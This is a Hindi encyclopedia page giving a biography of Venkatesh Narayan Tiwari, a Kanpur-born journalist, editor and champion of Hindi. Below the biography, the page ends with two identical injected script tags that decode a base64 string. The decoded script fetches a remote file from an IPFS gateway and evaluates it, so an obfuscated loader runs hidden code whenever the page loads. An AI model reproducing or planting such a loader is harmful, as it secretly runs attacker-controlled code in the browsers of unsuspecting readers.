वेंकटेश नारायण तिवारी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

वेंकटेश नारायण तिवारी (जन्म- 1890, कानपुर, मृत्यु- 20 जून, 1965) हिंदी के ध्वजवाहक, पत्रकार और साहित्यकार थे। उन्होंने राजनैतिक स्वतंत्रता से अधिक भाषा को महत्व दिया था।

परिचय

पत्रकार और हिंदी के ध्वजवाहक वेंकटेश नारायण तिवारी का जन्म 1890 ई. में कानपुर में हुआ था। उन्होंने इलाहाबाद में शिक्षा पाई। मालवीय जी, गणेश शंकर विद्यार्थी, पुरुषोत्तम दास टंडन, आदि के सम्पर्क से तिवारी की राष्ट्रीयता की भावना और मजबूत हुई। वे देश सेवा के लिए गोपाल कृष्ण गोखले द्वारा स्थापित संस्था 'भारत सेवक समाज' के आजीवन सदस्य बन गए। कांग्रेस से उनकी बहुत निकटता थी।[1]

हिंदी के पक्षकार

वेंकटेश नारायण तिवारी हिंदी भाषा के पक्षकार थे। उनका कहना था- "मेरे लिए भाषा का प्रश्न राजनैतिक स्वतंत्रता से कहीं अधिक महत्व का है।" तिवारी जी को साहित्यिक विवाद खड़ा करने में बड़ा आनंद आता था और वे अच्छे-अच्छों की खबर लेते थे। 1939 में जब गांधीजी की प्रेरणा से हिंदी के स्थान पर उर्दू मिश्रित 'हिंदुस्तानी' का आंदोलन चलाने का प्रयत्न हुआ तो तथ्यों के आधार पर उसका विरोध करने वालों में तिवारी प्रमुख थे। उन्होंने 'अभ्युदय', 'जनसत्ता' एवं 'भारत' प्रकाशित पत्रों का सम्पादन किया और इन पत्रों के द्वारा वे निरंतर हिंदी का पक्ष लेते रहे।

राजनीतिक एवं साहित्यिक गतिविधियां

नारायण तिवारी राजनीतिक एवं साहित्यिक गतिविधियों में सक्रिय रहे। वे 1919 के पंजाब हत्याकांड की जांच के लिए गठित कांग्रेस जांच समिति के सचिव बने। 1937 में वे उत्तर प्रदेश विधानसभा के सदस्य निर्वाचित हुए और पंत मंत्रिमंडल में सभा सचिव बनाए गए। 1946 में वे संविधान परिषद के सदस्य चुन लिये गए। पत्रकार के रूप में उन्होंने इलाहाबाद से प्रकाशित 'अभ्युदय' का संपादन किया। 1928 में वे 'भारत' के संपादक बने। स्वतंत्रता के बाद 1955 में उन्होंने दिल्ली की दैनिक 'जनसत्ता' के संपादन का कार्य हाथ में लिया।

मृत्यु

हिंदी के ध्वजवाहक वेंकटेश नारायण तिवारी का 20 जून 1965 को देहांत हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 816 | {{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय संस्कृति कोश, भाग-2|लेखक=|अनुवादक= |आलोचक=

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>